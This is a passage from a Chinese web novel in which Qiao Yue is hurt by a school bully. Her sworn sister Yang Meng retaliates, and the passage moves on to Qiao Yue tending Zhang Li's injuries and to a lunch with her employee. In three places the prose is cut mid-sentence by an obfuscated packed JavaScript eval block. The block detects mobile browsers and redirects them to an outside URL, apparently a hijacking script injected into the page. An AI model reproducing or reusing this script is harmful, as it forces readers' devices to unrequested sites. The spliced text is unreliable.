女孩骂了张黎几句,说他以为自己是谁,长得也就那样吧,装X犯,事情也就过去了。结果那干哥哥过不去了,觉得自己被人下了脸,来找张黎麻烦了。 “等等,你那天校服上的脚印是不是他踹的?” 乔月忽然想起来前几天张黎生病自己去学校接他。 “我没事,你别跟我哥说。” 乔月一见他那窝囊样就一肚子气。 “你打回去啊,你那么高个子!” “我只想顺利读完高中,考个大学。” 电动车后座张黎的声音很沉静。 张美丽的电动车好像又好了,下午的天气没有那么热了,但乔月觉得心里闷。 “你放心,到时我会申请助学贷款,不会花你们钱,我其实今年已经成年了,户口本晚上了一年。” 怪不得张黎休息日总不见他影子,因为连着前一天晚上他都在网吧做兼职,当网管。 “从小到大花我哥的钱我都有记账,等我工作了加倍还给你们。” “你别误会,因为我不是我哥的责任。” 张黎的声音有点小,乔月觉得心里头有点难受。 尤其是去趟警察局,估计张黎这个兼职也没了,他户口本上还没成年,警察传唤了网吧老板,因为这伙人是去店里找的张黎麻烦,张黎怕在店里打起来,机子都很贵的,就说是熟人,主动跟他们走了。 乔月虽然没有兄弟姐妹,但也看出来这哥俩感情不好,也不是那种动刀动枪的不好,是有隔阂,太礼貌。他们爹妈死得早,听张宇说是雨天路滑,冲开护栏掉山坡摔死的,乔月还以为相依为命关系会更好,现在看来每个人都有每个人的难言之隐。 “哎其实——” 乔月话还没说完,一辆自行车横冲直撞过来,是那种改装过的暴力单车,加装了小发动机,车把是向下弯的,车座子又窄又翘,整个车身贴满了乱七八糟的骷髅火焰和各种五颜六色的英文字母贴纸。 骑车的那个人就是张黎他们学校的那什么大哥,站着骑车横冲直撞到乔月面前,然后半蹲着开始摇车,车轱辘哐哐哐砸到油柏路上,跟有病似的。 乔月本能地开始刹车,再加上这车是王美丽的,她很怕骑坏了,更不敢直接撞过去,于是电动车就偏着往一边倒,乔月连着张黎还有电动车一起狠狠砸地上。 张黎手疾眼快垫到乔月身底下,他可真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533294|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦,乔月觉得自己都感受到他的肋骨条了,再加上电动车结结实实压到张黎腿上,乔月听到他的一声闷哼。 乔月是没受什么伤,但左胳膊搓到油柏路上划出来好长一道血痕。 “哎哟,姐姐对不起啊,你们也是,骑车怎么不注意着点呢。” 那小子还骑着车绕着她们转了一圈,耀武扬威的,乔月胳膊火辣辣地疼,挪开电动车指着他就骂。 “死孩子干!X你祖宗十八代,明天你别出门!出门就让大车碾成一张皮!眼珠子压出来让人当泡踩!你给老娘等着!你再敢惹老娘就告诉你爹妈等着收尸吧!蹲几年出来我还是一条好汉!……” 乔月唾沫横飞没一句重样的,但越骂越不解气,毕竟她胳膊上的血印子是实打实的,她抬起脚开始追,那改装过的自行车不仅没有带人的后座,连挡泥板都没有,乔月无从下手,再加上那孩子反应过来,站起来自行车蹬的飞快,一溜烟儿就没有人影了! “呸!” 乔月狠狠吐了一口唾沫。 她现在实在算不上好看,本就深的肤色此时是黑红,额头上的青筋凸起,歪着头,梗着脖子,丰厚的嘴唇喘着粗气,眼珠瞪得溜圆,高高竖着自己的手指头,深色裤子上屁股后头全是灰尘印儿。 “对不起,嫂子对不起……” 张黎扶起来电动车,皱眉忍着痛一瘸一拐地来给乔月道歉。 “对不起,嫂子对不起……” “你对不起个屁鸭子!” 乔月看他这窝囊样更是一肚子气。 “他几班的?” “什么?” 张黎有点没反应过来。 “那死孩子干儿几班的啊?” 张黎自己愿意忍那他忍着,乔月不管,但她不能吃这个哑巴亏,她胳膊上搓那么长一道! “十七班。” “嫂子,对不起,你不用去学校帮我……” “谁要帮你啊!我摔就白摔了?你滚回学校老老实实当你的好学生吧!” 县一中今天返校还是晚上回去上晚自习。 乔月气鼓鼓地走,走两步又想起来电动车还在那停着,又返回来骑电动车。 拧了拧油门,还好能走,没坏,不然真得给王美丽修车了。 她一溜烟地骑走了,张黎愣愣地站在原地,乔月可没空管他。 15.第15章 乔月把电动车停到小伟台球厅前头,车锑往下一踢,噔噔噔的就往二楼去。这是一家很老的台球厅了,最开始就是街边支几张桌子,后来才开的店,就在老电影院旁边。楼梯卫生情况不算好,灰色的水泥地,楼梯把手都掉漆了,挂满灰尘的玻璃透不进来太多光线,楼梯上有几摊不明的干涸液体,有一节台阶比别的矮几厘米,乔月走得急,一踉跄差点儿挨摔。 傻X盖的房子! 乔月掀开那厚重的,原本是绿帆布但被摸得发黑的门帘,里面嘈杂的声音浑浊的气味便一齐向她涌来,乔月被熏得后退一步。 到处都是烟味,墙上吱嘎嘎转着的老风扇上都被熏了一层黄,水泥的地板上到处是黑黢黢的痰渍和烟头,墙角有人跷着二郎腿坐在摞起来的蓝色塑料椅子上吃泡面。 “大爷的!这杆不算!刚有人碰我胳膊了!” “输不起别玩!人不行怪这怪那!……” 有人要打起来了,乔月没空看热闹,而是眼神滑溜溜地在人群里转来转去。 “咋?” 有个拿着杆的黄毛过来,他是看场子的,赤裸着上身,乔月是生脸,一看就是来找人,他怕惹出事,就想把人往出带。 台球厅里常发生桃色事件,动起手惹来警察最麻烦。 “我找人!萌萌呢,我找萌萌。” “萌萌?我们这没有萌萌啊,来玩的人我全……” “杨萌!我找杨萌!” “萌——” 黄毛明显愣了一下反应过来。 “找杨姐,杨姐朋友啊,我马上去叫她!” 黄毛像鱼一样游进人群了,他确实对每个角落都熟悉,乔月眼睛跟随他的身影,很快锁定了一个斜对着她的人。 那是个穿着紧身短袖,趿拉着白色帆布鞋的女孩,好好的白色帆布鞋,她穿得脏得看不出模样,脚随便踩进去,斜坐在台球桌边沿,离了脚跟的鞋子晃荡着。 她正点烟呢,大多数人都用打火机,她用火柴,还慢悠悠地点,要看着火柴烧一会儿才点,平时她就经常这样,嘴里叼着烟,眯着眼睛看着台球厅往来的人。 挺有范儿一人。 黄毛跟她说了什么,她慢悠悠转过脑袋,正好跟门口乔月对上眼睛,吓一激灵。 烟正点一半,火柴烧到她手指头上了,她从台球桌上蹦下来,手忙脚乱地把烟掐灭。整理整理头发又老老实实把踩着的鞋跟提上来,但眼皮子上的金色眼影却是一时半会擦不掉,但。 跟刚才换了个人一样,杨萌蹦蹦跳跳跑过来。 “月姐!你咋有空来看我了!” 杨萌不是那种长得很凶的人,相反,第一眼看过去谁都会觉得她很可爱,脸圆圆的,眼睛很大,留着短头发,厚厚的刘海儿,脸上还有几颗红彤彤的青春痘。 但一笑就露出来半颗豁牙,她喝酒喝蒙了摔掉的。 乔月真是讨厌这股子烟味,其实杨萌也不一定喜欢,但她就在这里上班,又能怎么办,乔月不苛责杨萌,何况杨萌每次去找她都穿得乖巧懂事。 但她还是没忍住,把杨萌耳朵上夹的烟拿下来。 “少抽点!” “哎!” 杨萌看着乔月笑,特别甜。 这是她亲姐,跟亲姐一样,她们结拜过的。 “你去给我收拾一小子,县一中初一十七班的,叫李豪。” 乔月举起自己搓出一片血印子的胳膊,对着杨萌说。 现在已经结痂了,没有刚开始伤时候看着那么恐怖。 乔月知道杨萌的性子,不是那种冲动的人,但临走前还是拉着她手又补充一句。 “不是什么大事,一没成年小孩,你领人去吓唬吓唬就行,给一脚得了,我就是来气,没事儿。” 杨萌这种事干多了,自然知道分寸,不过县一中,她认识的人还真不多。 “姐你放心,我有分寸,就吓唬出口气。” 杨萌看着乔月胳膊上的伤口,眼里都是心疼,她伸出手。 她的手很漂亮,细长,骨节分明,指甲剪得极短,但甲缝里有些洗不掉的黄灰色,可能是烟熏的或者巧粉。 但还是没碰。 “我找人带你去医院。” “不用,又不是什么大伤,咱们以前在放牛沟,有回下暴雨找羊差点儿从坡上滚下去,这才哪儿到哪儿……” 乔月还是不放心,临走又补了一句。 “吓唬吓唬得了,不踢那脚也行。” 杨萌笑呵呵点头,转身脸就拉下来了。 “打听打听那人谁罩着的。” 周日的县一中罕见的有点活力,很多返校的学生穿着自己的衣服,学校只有周日这天不查校服。拎着的手提袋里装着这一星期的牛奶水果,头发也是蓬松的,因为封闭式学校,一周只有今天能出去痛快洗个澡。 天还没有全黑,但每个教室的每盏灯都打开了,从操场上看去,一个个锃亮的小格子间里,很多忙忙碌碌的小人儿,或在奋笔疾书抄作业,或高谈阔论各种八卦新闻,又或者抢着分一袋儿干脆面,那干脆面名字很有意思,叫囧,多像一张搞笑的人脸。 “哎,就一班那张黎,你们知道吧,听说豪哥找人把他收拾一顿,屁都不敢放一个,搁我这装什么牛X呢……” 他脸上的五官排列就很像前面抢的那包方便面的模样,人怎么能长得像字儿呢,但真的很像,因为他一说到兴头上两条短粗的眉毛就几乎竖起来,眼睛也小得跟一条缝儿一样,导致他说什么话都显得很滑稽,这种人呢,反而有很强的自尊心。 “是,我也早看那小子不顺眼了……” 旁边有男生开始附和,其实他们都跟张黎不认识。 “哎,哎豪哥来了!” 有个个子挺高的男生进来,周围那些人围上去,七嘴八舌问怎么回事儿。 一中虽然是县里最好的学校,但也有一部分是择校生,用俗话说就是分不够钱来凑,十七班里有一半都是择校生,在学校里算是学风十分不好的班级了。 找人教训了张黎那样的人,原本是一件很值得炫耀的事儿,但说不上为什么,李豪今天心里有点不得劲,心脏一直突突突地跳。可能让那女的骂的后遗症,差一点儿她就抓上自己车了,她那生气涨红的脸,飞溅的唾沫星子,机关炮一样不带重复的骂人的话,李豪现在想起来都心有余悸。 “对啊,就差儿跪着给我道歉了,孬种一个。” 但他还是笑嘻嘻地跟周边人打趣,于是他们一起哄笑起来,有人还在变声期,笑得十分难听,前面学习的人把耳朵捂住。 咚咚咚—— 有人拿板擦敲了敲黑板,所有人朝前看去,是一张陌生的脸。 短发,娃娃脸,很可爱。 “请问李豪同学是哪位?” “呦,豪哥,找你的啊……” 旁边男生又笑着起哄,李豪抬头一看,虽然不算特别漂亮吧,但也称得上可爱,于是站起来,笑嘻嘻回应。 “我,找我什么事。” 李豪一站起来,马上从班门口进来一帮人,最后一个把门踢上,吵闹的班级马上变得安静。 这是一帮校外的人,因为有五颜六色的头发从帽子下露出来,一中对于头发查得还是很严的,有个学生认识其中一个黄毛,笑着上前打招呼,说都是朋友,有什么话好好说,黄毛一个眼神没给,把踹在裤子里的家伙拿出来,那人又讪讪退回去。 杨萌不笑了,她眼睛特别大,笑眯眯时候显得可爱,不笑时候就有点瘆人。 她开始慢慢打量李豪,那种从上到下的扫视,然后停在他眼睛上,又慢慢扬起嘴角,笑起来。 “你挺牛呀,李豪。” 真让人摸不着头脑。 “我,是不是有什么误会……” 这姑娘不好惹,李豪努力回想自己什么时候得罪过这样一号人。 杨萌这边还笑着呢,忽然抬脚,一点反应时间都没给,直接踹向李豪□□,她从小跟着乔月屁股后面跑,啥活儿都干,体格子强健得很。后来在台球厅管事,没少处理惹事的人。那一脚结结实实的,李豪向后倒,连着一排桌子都往后倾,桌兜里书噼里啪啦地往下掉,有人尖叫着站起来。 李豪扶着桌子几乎站不起来。 脸色煞白,脸上冒出很大的汗珠。 旁边很多人看了觉得真解气,因为李豪在班里就没少欺负人,甚至连老师都敢骂,还把一个实习老师给气走了。大家很多花了钱进来的,格外珍惜学习机会,十分厌恶他,但又不敢招惹他,毕竟他人那样。其实初中时候他混得不怎么样,但到了高中,很多混子都去了职校,他人就开始张狂了。 “我姓杨,不服就去老电影院旁边小伟台球厅找我,今天得罪谁了你心里清楚,再让我听说你去招她,我就真给你废了。” 杨萌忽然又笑眯眯的,还故作可爱眨了眨眼睛。 “对不起啦,给大家添麻烦了,明泽!还不快把同学们的桌子扶起来……” 杨萌嗔怒着对旁边的黄毛说,黄毛把刀又别回裤腰,给李豪撞倒的桌子扶起来,没人敢让他扶,慌张摆着手说自己来。 杨萌又笑眯眯地拍了拍李豪的衣服,她给人校服下摆踹很大的脚印子。 “对不起啊李同学,相信你不会怪我的,说起来我跟你哥还认识呢,你哥胳膊骨折那回我也在场呢……” 杨萌还想再说几句,外面看哨的人喊着。 “杨姐,杨姐有老师来了!” 于是杨萌用手背拍了拍李豪的脸,说。 “反正你知道怎么做,你哥断的那条胳膊早好了吧。” 然后拔腿就跑,她跑步贼快,再加上个子不高,在人群里根本抓不着。 “你们哪个班的?站住!” 返校的时候格外混乱,人多,穿什么衣服的都有,天又黑了,根本纠不出来。 那一脚震得杨萌脚腕子很麻,根本不像平常,没办法,她转身进了个女厕所,厕所里有很浓的消毒水味道。 “这有人……” 仅剩的一个坑位门把手坏了,得人用手顶着,杨萌想也没想钻进去,伸手捂住正站着提裤子的女人的嘴。 她很瘦,白,皮肤也凉凉的。 杨萌对她比了一个嘘的动作。 门口的人没进来,问了几句,没人回应,脚步声远了。 杨萌把自己深蓝色的外套脱下来,塞那女人怀里。 “朋友,送你了。” 她里面穿的是一件小熊□□的半袖,还带亮片,不仔细看说是小学生都有人信。 于是便大摇大摆走出去了。 她也就没看见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533295|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厕所门口写的,教职工厕所。 乔月从诊所出来,胳膊僵着不太敢动,她刚还跟医生产生了分歧。因为她要包扎,医生说不用,现在天热,包扎不容易好,这种皮外伤好好上药就行。 受伤让乔月不舒服,乔月不喜欢自己的身体不舒服,她也不觉得自己这是皮外伤,这个伤连着她的心脏,已经狠狠伤害了她的心灵! 哎,她受了伤,看来什么都不能干了,这半个月都得指望陈梦蝶了。 那医生也是,敢情伤不在他身上,连消炎药都不肯开,他说那伤问题不大,已经结痂了别抠开就没事儿。乔月不干,非得让开消炎药,因为她觉得还没到晚上,万一她发烧了呢,或者万一伤口肿了流脓了呢。 不过消炎药不能多吃,乔月也知道,看着剩下那半板,她打算给张黎送过去,估计他伤得比她重。 还有一件事是她顺便去给他请个假,跑操假。乔月也是听隔壁那小孩说的,说学校跑操抓得特别严,经期难受也得跑。再加上这样热的天,每回跑完都一身汗,还有因为队形排得太紧,总被后面人踩掉鞋……反正提起跑操就一肚子气。 乔月上回接张黎时候他班主任说了自己办公室在哪,乔月去的时候办公室正好没人,转身刚要走,迎面碰上了她。 “哎,家长有事吗,坐,请坐。” 乔月一坐下,看见她办公桌上教案封面的名字,严倩。 腿上一哆嗦,真是她啊! 所以当乔月说完来的缘由,以及,以及张黎受伤的原因。张黎不让她找老师说挨欺负的事情,所以她就只能说,是自己骑电动车带他摔的。 所以毫无疑问的,严老师毫不客气的把她批评了,说她这么大个人做事情太不靠谱,现在高一这么关键时刻万一摔了胳膊怎么办……乔月唯唯诺诺点头,还好现在不是小时候了,不会被打手心。 乔月走时候严老师忽然问,她们以前是不是在哪儿见过? 乔月赶紧摇头,都过去十多年了,严倩指不定教过多少学生,她这种的她肯定没印象。如果说吴阳嘛,严老师估计记得,但乔月才不会说,因为吴阳已经死了,反正在乔月这儿死了。 乔月去三班找张黎,很多人故意借着打水由头来看她,乔月摆弄了下自己头发,大大方方让人看,有个小姑娘夸她漂亮,乔月赶紧给自己小店打广告。 “衣服漂亮啦,你穿你也漂亮……我的店就在……你是张黎同学,一定给你打折……就在新世纪百货地下商场,档口位置是有些偏……我给你画个图……” 乔月的热情让人有点无从招架,很多人是凑过来看热闹的,他们听说李豪挨揍的消息了,都以为是张黎找的校外的人,然后家长被叫来处理这事儿了。 零零零—— 第二节晚自习的上课铃声响起,楼道里很快安静了,乔月走在前面,张黎的一条腿有点跛,看起来不太严重,乔月先把吃不完剩下的消炎药给他。 两个人到操场,县一中的操场很大,很新,忘记是县里哪位企业家赞助捐赠的了,崭新的操场和破旧的教学楼宿舍楼还显得有些格格不入。操场四周安装了十分明亮的大灯,但为了省电,平时只开一盏,乔月坐在水泥台阶上,让张黎把校服裤子撸上去。 张黎没动,乔月就自己上手撸上去。 “坐下啊,你站着我怎么上药。” 主要是张黎站着她坐着,乔月觉得自己好像比他矮一头,不得劲。 “听说你们学校还有樱桃吃,树呢,我怎么没看着?熟了记得给我摘一把啊。” 乔月把紫药水淋到张黎腿上,他擦伤不太严重,因为隔着裤子,不是直接搓油柏路上的,但被电动车砸的那块挺重,有一大团青紫,像瘀血,不知道多长时间能消散化开了。 乔月用力揉了揉,张黎缩了下腿,但一点声儿没出。 皮肤白有点伤就显得吓人,张黎整条小腿上都是伤,大的小的青的紫的,还有血跟校服裤子内衬粘到一起的,乔月眼睛眨也不眨地给拽开。 紫药水很凉,乔月拿着棉球的指尖被染得颜色很深,受伤的地方太多,乔月沿着张黎的小腿一直抹上去。 夜晚很静,月亮很大,后面的教学楼隐隐约约传来唱歌的声音。 高三生晚自习时候老师会苦中作乐,让合唱首歌曲提提神,不然天气热,太容易困倦。 乔月也心情很好地跟着哼起来。 “……轻轻敲响沉睡的心灵……慢慢张开你的眼睛……” 虽然张黎的小腿上净是伤,但还是很滑,有一种,有一种年轻人特有的紧绷,乔月不自觉的,总之不管有没有伤的地方,她都抹了个遍。 “可以了。” “嫂子,可以了。” 张黎又说了一遍。 乔月抬起头,一点没有不好意思,咧嘴对着张黎笑,她嘴唇很红,露出的牙齿就显得格外洁白,蹲坐时,能看到锁骨上细密的,亮晶晶的汗珠子。 “你可真棒。” 乔月歪着头对着张黎笑,手指还是没离开他的小腿。 张黎觉得周遭的一切忽然变得很悬浮,只有乔月指尖的温度,那么真切。 他微微缩着身,想把不体面的地方遮挡起来,但是他听见自己的声音在说。 “哪里棒。” “忍痛啊,那么疼,你一声不吭。” 16.第16章 “乔月,你能不能有点儿道德!不玩钱的你还耍什么赖皮?” 王美丽真想把牌扔桌上,乔月总给她这种感觉,就是有时候觉得她人虽然讨厌,但其实还不错,就像上回借她电动车,还把她电动车油门接触不良的老毛病给修了,有时候又觉得她这人真讨厌,彻彻底底的讨厌。 最近几天在下雨,天没那么热了,但是很闷,闷得喘不过来气,开风扇也不舒服,毕竟风扇只是把一个空间内的空气从后面输送到前面,还是从前面输送到后面。地下商场没窗户,接触不到新鲜空气,离厕所近的一块儿地方还一直漏水,所以一到阴雨天就有一种库房的味道,空气不流通的味道,这时候再开风扇,可以说是灾难。 乔月王美丽和对面那家店主在玩斗地主,可能因为天气不好人也没有逛街的心思吧,这两天她们生意都不咋地,无所事事地就聚在一起玩牌。开始是玩钱的,几毛钱,很低,但乔月输了两把就不玩了,她最抠门,赢了就乐,输了就着急。别人又不愿意玩,凑不齐,所以就换成弹脑嘣。 乔月不知道是人笨还是脑瓜不好使,弹脑嘣也总输,王美丽也有点报仇的意味,每回弹乔月时候都使大力,乔月虽然总输,但她蠢人力气大,赢一回弹王美丽时候恨不得把浑身的力都攒到手指头上来,咬着牙蹙着眉鼻孔喘着大气的模样,真吓人。 没玩两回呢,两个人眼瞅着都要急眼干起来了。 “月姐,到中午吃饭时候了吧。” 乔月仗着自己胳膊上的伤,其实快好了,有些结痂地方已经在慢慢掉了,但她伤了多久就奴役了陈梦蝶多久。这几回都是陈梦蝶去邮局拿的货,因为包裹占地大,来回搬运很不方便,坐公交车时候司机没少给她白眼。 不过陈梦蝶从乔月那学到很重要一点就是,不管别人态度,你的目的达到了就行。所以司机白眼她她也不下车,也不多掏包裹钱,人多挤着了她就给人道歉,挤着的人多了,她就多给几个人道歉。 吝啬的乔月高兴了就说请她吃饭,对于乔月这种人,当她许下承诺时候你一定要加一句,真的吗,乔月姐你真的要请我吃饭吗,乔月姐你什么时候请我吃饭,今天行吗,就今天吧。 要不这顿饭指不定推到什么时候,这辈子都吃不上也是有可能的。 乔月原本答应请陈梦蝶吃米线的,但她出门时候一琢磨,米线八块钱一份,俩人就是十五,她跟老板熟悉了。但凉皮四块一份,一锅米线的钱够吃两份凉皮了。 所以她眼珠子滴溜一转。 “梦蝶啊,这天太闷了,闷得喘不过来气,不适合吃米线,米线太烫了,姐请你去吃凉皮吧,让大姨多放点油辣子和醋,这天吃着才舒服呢!” 陈梦蝶也知道是这么回事儿,这种天气去吃米线纯受罪,半个小时都不一定凉的了,吃浑身汗,还一股子味道,但她不想便宜了乔月,毕竟这俩价格不一样。 这时候她一回头。 “行,我也这么觉得,乔月姐,要不买两杯西瓜汁,正好给咱俩解解渴,米线又热又贵的,不如凉皮儿。” 陈梦蝶把贵字儿咬得特别重,她自然也知道每种食物的价格。 乔月腿不动,陈梦蝶腿也不动,就笑眯眯看着乔月。 “我就不了,我最近来好事儿,不喝凉的。” “是吗,你上午好像还吃了红薯雪糕呢。” 乔月心一横。 给陈梦蝶买了杯鲜榨的西瓜汁,就买了一杯。 那榨汁的老板还一个劲儿地说她这西瓜刚从冰柜镇过得多新鲜多清甜多美味,乔月拉着脸一个字也不想听,她情愿这西瓜又烂又臭最好陈梦蝶喝了就拉肚子。 得到了想要的,陈梦蝶再没作妖,没说吃凉皮时候心血来潮想再加份面筋鸡丝什么的,老老实实要了一份最普通便宜的,乔月也是,她可能心里还有气,加了好几勺花生跟香菜,大姨看她好几眼。 青白半透的皮子上浇满了鲜红的油辣子,辣椒油都是大姨自己熬的,几截残存的小辣椒尖尖,咬一口特别酥脆,芫荽也是早上才从园子里薅的,特别有芫荽味儿。 乔月爱吃酸的,她倒了好些醋,然后搅拌搅拌,心满意足塞进嘴里一大口。 头顶的风扇勤勤恳恳地转着,乔月觉得从内到外从头到脚都是舒爽,花生米也好吃,顶这儿的花生米炸的最好吃了。 吃着好吃的乔月心里舒服不少,连带着看陈梦蝶都顺眼了,她好像挺真情实感地跟陈梦蝶道谢。 “梦蝶,这阵子真是辛苦你了,我可得好好谢谢你。” 陈梦蝶虽然嘴巴很馋,但她吃东西却很慢,慢腾腾的,还挺养眼。可能也是时间久看顺眼了,乔月觉得陈梦蝶没那么丑了。不过其实人家陈梦蝶本来就不丑,只是爱捣鼓,头发总弄得奇形怪状,衣服也不好好穿。她整个人很瘦削,窄,脸也小,下巴很尖,嘴巴很薄,颧骨却有点高,从侧面看每个五官都很显眼,在商场里偶尔有人会夸她长得很高级,像模特,乔月嗤之以鼻。 不过穿她身上的款总会更好卖一些,别的档口老板也明里暗里想撬过她,乔月以前还担心过,不过目前看陈梦蝶还是很老实的。 乔月喜欢听话的小孩,所以她看低头认真吃凉皮的陈梦蝶,罕见的脸上有几分温柔,这其实是个很好的小孩,仔细瞧,真没那么丑。 乔月发誓再不说她尖嘴猴腮像猴子了。 这时候陈梦蝶抬起头,先是鼓了鼓腮帮子又冲着乔月挤了挤眼。 “咋啦月姐,是不是发现我比杨萌好看多啦。” 好了,一做这种表情那张脸上的高级就马上荡然无存! “做什么梦呢!” 乔月无情戳破她的幻想,她自然觉得杨萌哪都好,跟着自己屁股后长大的妹妹。不过很神奇,她觉得两个哪哪都不搭噶的人竟然认识,也是,县城就这么大点儿。 “这么大杯西瓜汁你哪儿喝得完,给我倒半杯。” 乔月用命令的语气对着陈梦蝶说,把刚从柜台上拿的玻璃杯推过去。 哗—— 西瓜汁倒进玻璃杯发出清亮的声响。 “哼。” 陈梦蝶意味不明地哼了一声,她就知道乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539392|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月这样抠门儿的人,准会惦记这杯西瓜汁。 “哇。” 乔月喝了一大口,舒服得眼睛都眯起来,真舒服,真舒服。 她又吃口凉皮,酸辣的凉皮,一抬眼,不知什么时候陈梦蝶已经吃完了!明明她看起来吃得那么慢! 轰隆—— 外面又打了一声雷,天阴沉,闷热,店里的白炽灯很暗,但也聊胜于无,所以地上的污渍桌面上的黏腻就都被很好掩盖,风扇不辞辛苦地在转,不知哪颗螺丝松了,过几秒钟就会吱嘎一声。人群喧闹,有小孩在哭,有小狗在叫,大姨扯着嗓子问加不加香菜。她们坐在风扇正下方。 乔月头发忽然松了,一下子塌到她的脖子上,她正挑了一大柱凉皮塞到嘴巴,于是一边秃噜一边腾出手快速在头顶扎了个丸子头,她又夹了一筷子青黄瓜丝,陈梦蝶觉得自己听到了清脆嚼黄瓜的声音。 然后她端起西瓜汁,大口喝起来,水红色的汁液越来越少,陈梦蝶恍然觉得自己好像有透视眼,能看到西瓜汁顺着乔月的喉咙一路向下。 周边很嘈杂,但乔月创造出来的声音却如此清晰。 “没没有蜡烛……就不用勉强幸福……没没想到答案……就不要寻找题目……” 陈梦蝶的声音很沉,或者说很沉静,如果她不唱自己瞎编乱写的那些歌的话还是好听的。她一边用筷子敲桌子给自己打节奏,一边清唱着。 旁边有人听出熟悉的歌曲,转过身看她。 乔月把碗底的花生米都挑干净,一抬头看见陈梦蝶跟个叫花子一样在敲桌子,一把抓住她的筷子。 “你妈没教过你啊,不能用筷子敲桌子敲碗,要饭的才这样做。” 陈梦蝶笑着对乔月说。 “没有。” “不可能,你吃饭多文静呀,慢腾腾的,肯定有人教你。” “哈哈那是为了迷惑别人。” 这可是陈梦蝶的生存智慧。 “我叔叔不喜欢我多吃饭,所以我就练就了这个本领,表面上慢腾腾,但其实吃得又快又多。” 陈梦蝶指了指自己的碗,早就空了。 乔月沉默了,她不知道该怎么开口安慰,也不想开口安慰,毕竟她们只是单纯的雇佣关系。要说惨,她见过的惨的多了,她本身也很惨呀,但她就不会对任何人说,因为她觉得那都过去了,过去了就不惨。 “不都喝完了,你还拿空杯子干嘛。” 乔月也吃完,两个人站起来要走,陈梦蝶把桌上空的装西瓜汁的塑料杯也拿上。 乔月没应陈梦蝶的话,换了个话题。 “吃完的白菜根泡水,就能再长出来,煮挂面时候放。” 乔月沉默了,沉默了几秒钟她说。 “没菜了去我家薅吧,我家菜园子里青菜都下来了,一茬茬的,也吃不完。” “真的吗?乔月姐你可真好!今晚上下班我能去吗?” 陈梦蝶抬起来兴高采烈一张脸,耳骨上的耳钉亮晶晶的。 乔月马上就后悔了!自己以后真要少说话!不说话!